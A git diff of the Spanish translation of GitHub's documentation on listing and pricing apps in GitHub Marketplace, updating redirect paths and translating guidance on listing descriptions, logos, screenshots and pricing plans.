+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/listing-an-app-on-github-marketplace
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/removing-a-listing-from-github-marketplace
+  - /apps/marketplace/managing-github-marketplace-listings/removing-a-listing-from-github-marketplace
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/editing-a-github-marketplace-listing
+  - /apps/marketplace/managing-github-marketplace-listings/editing-a-github-marketplace-listing
+  - /apps/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing
   - /marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing
   - /developers/github-marketplace/drafting-a-listing-for-your-app
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
index dea0f0a173..a3c5e3cad2 100644
--- a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
+++ b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
@@ -2,13 +2,13 @@
 title: Listar una app en GitHub Marketplace
 intro: 'Aprende sobre los requisitos y mejores prácticas para listar tu app en {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/adding-integrations/listing-apps-on-github-marketplace/
-  - /apps/marketplace/listing-apps-on-github-marketplace/
-  - /apps/marketplace/getting-started-with-github-marketplace-listings/
-  - /apps/marketplace/creating-and-submitting-your-app-for-approval/
-  - /apps/adding-integrations/managing-listings-on-github-marketplace/
-  - /apps/marketplace/managing-github-marketplace-listings/
-  - /apps/marketplace/listing-on-github-marketplace/
+  - /apps/adding-integrations/listing-apps-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval
+  - /apps/adding-integrations/managing-listings-on-github-marketplace
+  - /apps/marketplace/managing-github-marketplace-listings
+  - /apps/marketplace/listing-on-github-marketplace
   - /marketplace/listing-on-github-marketplace
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
index d2ccf0b4ee..b134374436 100644
--- a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
+++ b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
@@ -2,16 +2,16 @@
 title: Configurar planes de precios para tu listado
 intro: 'Cuando listas tu app en {% data variables.product.prodname_marketplace %}, puedes elegir proporcionarla como un servicio gratuito o venderla. Si planeas vender tu app, puedes crear planes de precio diferentes para los diferentes escalones de características.'
 redirect_from:
-  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/marketplace/pricing-payments-and-free-trials/setting-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans/
-  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans/
-  - /apps/marketplace/pricing-payments-and-free-trials/about-github-marketplace-pricing-plans/
-  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/marketplace/managing-github-marketplace-listings/changing-a-github-marketplace-listing-s-pricing-plan/
-  - /apps/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/pricing-payments-and-free-trials/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans
+  - /apps/marketplace/pricing-payments-and-free-trials/about-github-marketplace-pricing-plans
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-github-marketplace-listings/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan
   - /marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan
   - /developers/github-marketplace/setting-pricing-plans-for-your-listing
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
index 1905ce8446..82523f29d0 100644
--- a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
+++ b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
@@ -1,14 +1,14 @@
 ---
-title: Writing a listing description for your app
-intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.'
+title: Escribir la descripción de un listado para tu app
+intro: 'Para [Listar tu app](/marketplace/listing-on-github-marketplace/) en {% data variables.product.prodname_marketplace %}, necesitarás escribir una descripción de ésta y proporcionar imágenes que se apeguen a los lineamientos de GitHub.'
 redirect_from:
-  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions/
-  - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions/
-  - /apps/adding-integrations/listing-apps-on-github-marketplace/guidelines-for-creating-a-github-marketplace-listing/
-  - /apps/marketplace/listing-apps-on-github/guidelines-for-creating-a-github-marketplace-listing/
-  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-creating-github-marketplace-listing-images/
-  - /apps/marketplace/creating-and-submitting-your-app-for-approval/creating-github-marketplace-listing-images/
-  - /apps/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/guidelines-for-creating-a-github-marketplace-listing
+  - /apps/marketplace/listing-apps-on-github/guidelines-for-creating-a-github-marketplace-listing
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-creating-github-marketplace-listing-images
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/creating-github-marketplace-listing-images
+  - /apps/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions
   - /marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions
   - /developers/github-marketplace/writing-a-listing-description-for-your-app
 versions:
@@ -16,181 +16,183 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Write listing descriptions
+shortTitle: Escribir listas de descripciones
 ---
-Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing.
 
-## Naming and links
+Aquí te mostramos los lineamientos de los campos que necesitas llenar en la sección **Listar descripción** del borrador de tu listado.
 
-### Listing name
+## Nomencltura y enlaces
 
-Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.product.product_location %}, unless the name is your own user or organization name. 
+### Nombre del listado
 
-### Very short description
+El nombre de tu listado aparecerá en la [página inicial de {% data variables.product.prodname_marketplace %}](https://github.com/marketplace). El nombre se limita a 255 caracteres y puede ser diferente que aquél de tu app. Tu listado no puede tener el mismo nombre que el de una cuenta existente en {% data variables.product.product_location %}, a menos de que dicho nombre sea aquél de tu organización o usuario.
 
-The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace).
+### Descripción muy corta
 
-![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png)
+La comunidad verá la descripción "muy corta" debajo del nombre de tu app en la [página principal de {% data variables.product.prodname_marketplace %}](https://github.com/marketplace).
 
-#### Length
+![Descripción corta de la app en {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_short_description.png)
 
-We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly.
+#### Longitud
 
-#### Content
+Te remcomendamos mantener un largo de 40 a 80 caracteres para las descripciones cortas. Aunque se te permite utilizar más caracteres, las descripciones concisas son más fáciles de leer y más rápidas de entender para los clientes.
 
-- Describe the app’s functionality. Don't use this space for a call to action. For example:
+#### Contenido
 
-  **DO:** Lightweight project management for GitHub issues
+- Describe la funcionalidad de la app. No utilices este espaccio para un llamado a la acción. Por ejemplo:
 
-  **DON'T:** Manage your projects and issues on GitHub
+  **RECOMENDADO:** Una administración de proyectos ligera para los informes de problemas de GitHub
 
-  **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_
+  **NO RECOMENDADO:** Administración de proyectos e informes de problemas en GitHub
 
-- Don’t repeat the app’s name in the description.
+  **Tip:** Pon los verbos en tercera persona del singular en las llamadas a la acción para convertirlas en una descripción aceptable: _Administra tus proyectos e informes de problemas en GitHub_
 
-  **DO:** A container-native continuous integration tool
+- No repitas el nombre de la app en la descripción.
 
-  **DON'T:** Skycap is a container-native continuous integration tool
+  **RECOMENDADO:** Una herramienta de integración contínua nativa para el contenedor
 
-#### Formatting
+  **NO RECOMENDADO:** Skycap es una herramienta de integración contínua nativa para el contenedor
 
-- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns.
+#### Formato
 
-- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence.
+- Apégate siempre al uso de mayúsculas correcto en las oraciones. Utiliza mayúsucula únicamente en la primera letra y en los nombres propios.
 
-- Only capitalize proper nouns. For example:
+- No uses puntuación al final de tu descripción corta. Las descripciones cortas no deben incluir oraciones completas, y en definitiva, no deben incluir más de una oración.
 
-  **DO:** One-click delivery automation for web developers
+- Usa mayúscula inicial únicamente en nombres propios. Por ejemplo:
 
-  **DON'T:** One-click delivery automation for Web Developers
+  **RECOMENDADO:** Automatización de entrega en un solo click para desarrolladores web
 
-- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  **NO RECOMENDADO:** Automatización de entrega en un solo click para Desarrolladores Web
 
-- Avoid referring to the GitHub community as "users."
+- Utiliza siempre una [coma serial](https://en.wikipedia.org/wiki/Serial_comma) en las listas.
 
-  **DO:** Create issues automatically for people in your organization
+- Evita referirte a la comunidad de GitHub como "usuarios".
 
-  **DON'T:** Create issues automatically for an organization's users
+  **RECOMENDADO:** Crea informes de problemas automáticamente para las personas de tu organización
 
-- Avoid acronyms unless they’re well established (such as API). For example:
+  **NO RECOMENDADO:** Crea informes de problemas automáticamente para los usuarios de una organización
 
-  **DO:** Agile task boards, estimates, and reports without leaving GitHub
+- Evita utilizar acrónimos a menos de que estén bien establecidos (tal como API). Por ejemplo:
 
-  **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI
+  **RECOMENDADO:** Tableros de tareas ágiles, estimados y reportes sin salir de GitHub
 
-### Categories
+  **NO RECOMENDADO:** Tableros de tareas ágiles, estimados, y reportes sin dejar la IU de GitHub
 
-Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app.
+### Categorías
 
-### Supported languages
+Las apps en {% data variables.product.prodname_marketplace %} se pueden mostrar por categoría. Selecciona la categoría que describa mejor la funcionalidad principal de tu app en el menú desplegable de **Categoría principal** y, opcionalmente, selecciona una **Categoría secundaria** si es que describe mejor a tu app.
 
-If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional.
+### Lenguajes compatibles
 
-### Listing URLs
+Si tu app funciona únicamente con lenguajes específicos, selecciona hasta 10 lenguajes de programación que sean compatibles con ella. Estos lenguajes se muestran en la página del listado de {% data variables.product.prodname_marketplace %} de tu app. Este campo es opcional.
 
-**Required URLs**
-* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries.
-* **Privacy policy URL:** The web page that displays your app's privacy policy.
-* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App.
+### Listar las URL
 
-**Optional URLs**
-* **Company URL:** A link to your company's website.
-* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance.
-* **Documentation URL:** A link to documentation that teaches customers how to use your app.
+**URL Requeridas**
+* **URL de servicio al cliente:** La URL de una página web a la que llegarán tus clientes cuando tienen preguntas de la cuenta, producto o soporte técnico.
+* **URL de la política de privacidad:** La página web que muestra la política de privacidad de tu app.
+* **URL de la instalación:** Este campo se muestra únicamente para las apps de OAuth. (Las GitHub Apps no utilizan esta URL porque utilizan la URL de configuración opcional de la página de su página de configuración). Cuando un cliente compra tu App de OAuth, GitHub redireccionará a los clientes a la URL de la instalación después de que la instalen. Necesitarás redirigir a los clientes a `https://github.com/login/oauth/authorize` para comenzar el flujo de autorizaciones de OAuth. Consulta la sección "[Compras nuevas de Apps de OAuth](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" para recibir más detalles al respecto. Omite este campo si estás listando una GitHub App.
 
-## Logo and feature card
+**URL opcionales**
+* **URL de la empresa:** Un enlace al sitio web de tu empresa.
+* **URL de estado:** Un enlace a la página web que muestra el estado de tu app. Las páginas de estado incluyen reportes de incidentes actuales y en forma de historial, el estado de tiempo activo de la aplicación web, y los periodos programados de mantenimiento.
+* **URL de Documentación:** Un enlace a la documentación que muestra a los clientes cómo utilizar tu app.
 
-{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps.
+## Logo y tarjeta de características
 
-![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png)
+{% data variables.product.prodname_marketplace %} muestra todos los listados con un logo de imagen cuadrada dentro de una insignia circular para distinguir a las apps visualmente.
 
-A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card.
+![Imágenes de logo e insignia en GitHub marketplace](/assets/images/marketplace/marketplace-logo-and-badge.png)
 
-![Feature card](/assets/images/marketplace/marketplace_feature_card.png)
+Una tarjeta de características consiste en el logo, nombre e imagen personalizada de fondo para tu app, la cual captura la personalidad de ésta. {% data variables.product.prodname_marketplace %} muestra esta tarjeta si tu app es una de las cuatro apps que se presentan aleatoriamente en la parte superior de la [página principal](https://github.com/marketplace). Cada descripción muy corta de las apps se muestra debajo de su tarjeta de características.
 
-As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card.
+![Tarjeta de características](/assets/images/marketplace/marketplace_feature_card.png)
 
-#### Guidelines for logos
+En medidad que subas imágenes y selecciones los colores, tu borrador de listado de {% data variables.product.prodname_marketplace %} mostrará una vista previa de tu logo y de tu tarjeta de características.
 
-You must upload a custom image for the logo. For the badge, choose a background color.
+#### Lineamientos para los logos
 
-- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published.
-- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center.
-- For best results, upload a logo image with a transparent background.
-- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image.
-- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens.
+Debes cargar una imagen personalizada para el logo. Para el caso de la insignia, elige un color de fondo.
 
-#### Guidelines for feature cards
+- Carga una imagen de logo que tenga por lo menos 200 pixeles por 200 pixeles para que éste no tenga que escalarse ascendentemente cuando se publique tu listado.
+- Los logos se cortarán en forma de cuadrado. Te recomendamos cargar un archivo de imagen cuadrado con tu logo en el centro.
+- Para obtener los mejores resultados, carga una imagen de logo con un fondo transparente.
+- Para darle la apariencia contínua a la insignia, elige un color de fondo que empate con el color (o con la transparencia) de tu imagen de logo.
+- Evita utilizar las imágenes de logo que tienen texto o palabras. Los logos con texto no se escalan bien en pantallas pequeñas.
 
-You must upload a custom background image for the feature card. For the app's name, choose a text color.
+#### Lineamientos para las tarjetas de características
 
-- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality.
-- Background image measures 965 pixels x 482 pixels (width x height).
-- Choose a text color for your app's name that shows up clearly over the background image.
+Debes cargar una imagen personalizada de fondo para la tarjeta de características. Elige el color del texto para el nombre de la app.
 
-## Listing details
+- Utiliza un patrón o textura en la imagen de fondo para dar a tu tarjeta una identidad visual específica y ayudar a que resalten contra el fondo oscuro de la página de inicio de {% data variables.product.prodname_marketplace %}. Las tarjetas de caracetrísticas capturan la personalidad de la marca de tu app.
+- La imagen de fondo mide 065 pixeles x 482 pixeles (ancho x alto).
+- Elige un color de texto para el nombre de tu app, el cual se muestre claramente sobre la imagen de fondo.
 
-To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description."
+## Detalles del listado
 
-Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page.
+Para obtener la página de llegada de tu app, da clic en su nombre desde la página principal de {% data variables.product.prodname_marketplace %} o desde su página de categoría. La página de llegada muestra una descripción más larga de tu app, la cual incluye dos partes: una "Descripción de introducción" y una "Descripción detallada".
 
-![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png)
+Tu "Descripción de introducción" se muestra en la parte superior de la página de llegada de {% data variables.product.prodname_marketplace %} para tu app.
 
-Clicking **Read more...**, displays the "Detailed description."
+![Descripción de introducción en {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_intro_description.png)
 
-![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png)
+El dar clic en **Leer más...** mostrará la "Descripción detallada".
 
-Follow these guidelines for writing these descriptions.
+![Descripción detallada en {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_detailed_description.png)
 
-### Length
+Sigue estos lineamientos para escribir estas descripciones.
 
-We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly.
+### Longitud
 
-You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description.
+Te recomendamos escribir un resumen de alto nivel que se componga de una o dos oraciones de entre 150 y 250 caracteres en el campo "Descripción de introducción" cuando [listes tu aplicación](/marketplace/listing-on-github-marketplace/). Aunque se te permite utilizar más caracteres, los resúmenes concisos son más fáciles de leer y más rápidas de entender para los clientes.
 
-### Content
+Puedes agregar más información en el campo opcional "Descripción detallada". Encuentras esta descripción al dar clic en **Leer más...** debajo de la descripción de introducción en la página de llegada de tu app. Una descripción detallada consiste en 3-5 [propuestas de valor](https://en.wikipedia.org/wiki/Value_proposition) con 1-2 oraciones que se describen una a la otra. Puedes utilizar hasta 1,000 caracteres para esta descripción.
 
-- Always begin introductory descriptions with your app's name.
+### Contenido
 
-- Always write descriptions and value propositions using the active voice.
+- Inicia siempre con el nombre de tu aplicación en las descripciones de introducción.
 
-### Formatting
+- Escribe siempre las descripciones y propuestas de valor utilizando la voz activa.
 
-- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns.
+### Formato
 
-- Use periods in your descriptions. Avoid exclamation marks.
+- Utiliza siempre las mayúsculas adecuadamente en las oraciones de los títulos para las propuestas de valor. Utiliza mayúsucula únicamente en la primera letra y en los nombres propios.
 
-- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence.
+- Utiliza puntos en tus descripciones. Evita los signos de admiración.
 
-- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example:
+- No utilices signos de puntuación al final de tus títulos para las propuestas de valor. Los títulos de propuestas de valor no deben incluir oraciones completas ni más de una oración.
 
-  ### Learn the skills you need
+- Para cada propuesta de valor, incluye un título seguido de un párrafo de descripción. Da formato al título como un [encabezado nivel tres](/articles/basic-writing-and-formatting-syntax/#headings) utilizando lenguaje de marcado (Markdown). Por ejemplo:
 
-  GitHub Learning Lab can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more.
 
-- Only capitalize proper nouns.
+  ### Adquiere las habilidades que necesitas
 
-- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  GitHub Learning Lab te puede ayudar a aprender cómo utilizar GitHub, a comunicarte de forma más efectiva con el lenguaje de Markdown, a gestionar conflictos de fusión, y más.
 
-- Avoid referring to the GitHub community as "users."
+- Usa mayúscula inicial únicamente en nombres propios.
 
-  **DO:** Create issues automatically for people in your organization
+- Utiliza siempre la [coma serial](https://en.wikipedia.org/wiki/Serial_comma) en las listas.
 
-  **DON'T:** Create issues automatically for an organization's users
+- Evita referirte a la comunidad de GitHub como "usuarios".
 
-- Avoid acronyms unless they’re well established (such as API).
+  **RECOMENDADO:** Crea informes de problemas automáticamente para las personas de tu organización
 
-## Product screenshots
+  **NO RECOMENDADO:** Crea informes de problemas automáticamente para los usuarios de una organización
 
-You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page.
+- Evita utilizar acrónimos a menos de que estén bien establecidos (tal como API).
 
-### Guidelines for screenshots
+## Impresiones de pantalla de los productos
 
-- Images must be of high resolution (at least 1200px wide).
-- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next.
-- Show as much of the user interface as possible so people can see what your app does.
-- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes.
-- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots.
-- Captions are most effective when they are short and snappy.
+Puedes cargar hasta cinco impresiones de pantalla para tu app para que se muestren en su página de llegada. Agrega una captura opcional a cada impresión de pantalla para proporcionar contexto. Después de cargar tus impresiones de pantalla, puedes arrastrarlas para que tomen el órden en el que quieras que se muestren dentro de la página de llegada.
 
-![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png)
+### Lineamientos para las impresiones de pantalla
+
+- Las imágenes deben tener resolución alta (por lo menos 1200px de ancho).
+- Todas las imágenes deben tener la misma altura y ancho (proporción de aspecto) para evitar los saltos de página cuando las personas den clic de una imagen a otra.
+- Muestra tanto de la interface de usuario como sea posible para que las personas pueden ver lo que hace tu app.
+- Cuando tomes una impresión de pantalla de tu app en un buscador, incluye solamente el contenido en la ventana a mostrar. Evita incluir la barra de dirección, la barra de título o los iconos de la barra de herramientas, ya que estos no se escalan bien cuando se miran desde pantallas más pequeñas.
+- GitHub muestra las impresiones de pantalla que cargues en una caja dentro de la página de llegada de tu app, así que no necesitas agregar cajas o márgenes al rededor de tus impresiones de pantalla.
+- Las capturas son más efectivas cuando son cortas y concisas.
+
+![Imagen de impresión de pantalla en GitHub Marketplace](/assets/images/marketplace/marketplace-screenshots.png)
diff --git a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
index be1643cea5..c101efd04a 100644
--- a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
+++ b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
@@ -2,8 +2,8 @@
 title: Facturar a los clientes
 intro: 'Las apps en {% data variables.product.prodname_marketplace %} deben apegarse a los lineamientos de facturación de GitHub y apoyar a los servicios recomendados. El seguir nuestros lineamientos ayuda a los clientes a navegar en el proceso de facturación sin ninguna sorpresa.'
 redirect_from:
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace/
-  - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace/
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace
+  - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace
   - /marketplace/selling-your-app/billing-customers-in-github-marketplace
   - /developers/github-marketplace/billing-customers
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
index b16e1418f1..74a58cce46 100644
--- a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
+++ b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
@@ -2,11 +2,11 @@
 title: Vender tu app en GitHub Marketplace
 intro: 'Aprende sobre los requisitos y mejores prácticas para vender tu app en {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/
-  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/
-  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/
-  - /apps/marketplace/pricing-payments-and-free-trials/
-  - /apps/marketplace/selling-your-app/
+  - /apps/marketplace/administering-listing-plans-and-user-accounts
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing
+  - /apps/marketplace/pricing-payments-and-free-trials
+  - /apps/marketplace/selling-your-app
   - /marketplace/selling-your-app
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
index 999f345c3d..f2e2b0ccc0 100644
--- a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
+++ b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
@@ -1,8 +1,8 @@
 ---
-title: Pricing plans for GitHub Marketplace apps
-intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.'
+title: Planes de precios para las apps de GitHub Marketplace
+intro: 'Los planes de precios te permiten darle a tu app diferentes recursos o niveles de servicio. Puedes ofrecer hasta 10 planes de precios en tu listado de {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans/
+  - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans
   - /marketplace/selling-your-app/github-marketplace-pricing-plans
   - /developers/github-marketplace/pricing-plans-for-github-marketplace-apps
 versions:
@@ -10,50 +10,51 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Pricing plans for apps
+shortTitle: Planes de precios para las apps
 ---
-{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
 
-Customers purchase your app using a payment method attached to their account on {% data variables.product.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Los planes de precios de {% data variables.product.prodname_marketplace %} pueden ser gratuitos, de tasa fija, o por unidad. Los precios se configuran, muestran y procesan en dólares estadounidenses. Los planes de pago se restringen para las apps que publican los publicadores verificados. Para obtener más información acerca de cómo convertirse en un publicador verificado, consulta la sección "[Solicitar una verificación de publicador para tu organización](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
 
